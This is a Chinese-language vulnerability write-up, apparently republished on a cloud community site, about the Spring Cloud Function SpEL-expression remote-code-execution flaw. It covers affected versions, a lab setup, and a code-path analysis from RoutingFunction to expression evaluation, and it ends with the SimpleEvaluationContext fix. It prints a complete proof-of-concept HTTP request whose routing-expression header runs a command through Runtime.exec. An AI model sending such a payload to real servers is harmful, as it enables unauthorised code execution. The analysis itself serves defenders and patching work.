前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SpringCloud Function SPEL表达式 RCE 漏洞分析

SpringCloud Function SPEL表达式 RCE 漏洞分析

作者头像
黑伞安全
发布2022-03-31 21:07:40
6450
发布2022-03-31 21:07:40
举报
文章被收录于专栏:黑伞安全黑伞安全

title: SpringCloud Function SPEL RCE analysis date: 2022-03-29 12:46:03 tags:

  • Java
  • Spring categories: Analysis cover: excerpt: SpringCloud Function SPEL表达式 RCE 漏洞分析
前言

近日,Spring Cloud Function 官方测试用例曝光了 Spring Cloud Function SPEL 表达式注入漏洞,可利用该漏洞通过注入 SPEL 表达式来触发远程命令执行。Spring Cloud Function 是一个基于 Spring Boot 的函数计算框架。通过抽象传输细节和基础设施,为开发者保留熟悉的开发工具和开发流程,让开发者专注于实现业务逻辑,从而提高开发效率。

影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

环境构建
代码语言:javascript
复制
JDK: 17.0.2
IDEA 2021.3 x64
Windows 10 21H2

使用github上 cckuailong师傅创建的环境

拉取仓库后用IDEA maven进行打包调试即可.由于spring默认端口使用的8080,所以可能会与Burpsuite冲突.可编辑application.properties修改默认端口

漏洞复现

待服务端启动后,向spring服务请求如下数据包

代码语言:javascript
复制
POST /speltest HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("calc.exe")
漏洞分析

首先来看一下官方提交的commit

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

根据官方commit, 可以得知该漏洞是由RoutingFunction功能所导致

在commit中官方也给出了相应的测试用例

根据测试用例,可以得知漏洞触发点位于http header中spring.cloud.function.routing-expression字段

首先,在所有路由的postmapping上打入断点,程序在进入到form后获取了当前的wapper,随后进入到processRequest

跟进

在processRequest中首先获取了当前wrapper的function,随后调用该function对象的apply

apply中紧接着调用了wrapper的doApply

doApply中首先判断wrapper是否是RoutingFunction,如果不是RoutingFunction则获取其target属性并调用其apply方法,而在此处当前wrapper的target属性正好是一个RoutingFunction

apply中直接调用了route方法,所以直接来看route

在route中判断header头中是否有spring.cloud.function.routing-expression, 随后调用functionFromExpression

到functionFromExpression中,即调用Expression对传入的SPEL表达式进行解析,随后调用expression.getValue执行

修复

在修复版本中对header使用SimpleEvaluationContext进行安全处理

参考

https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-03-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑伞攻防实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 影响版本
  • 环境构建
  • 漏洞复现
  • 漏洞分析
  • 修复
  • 参考
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档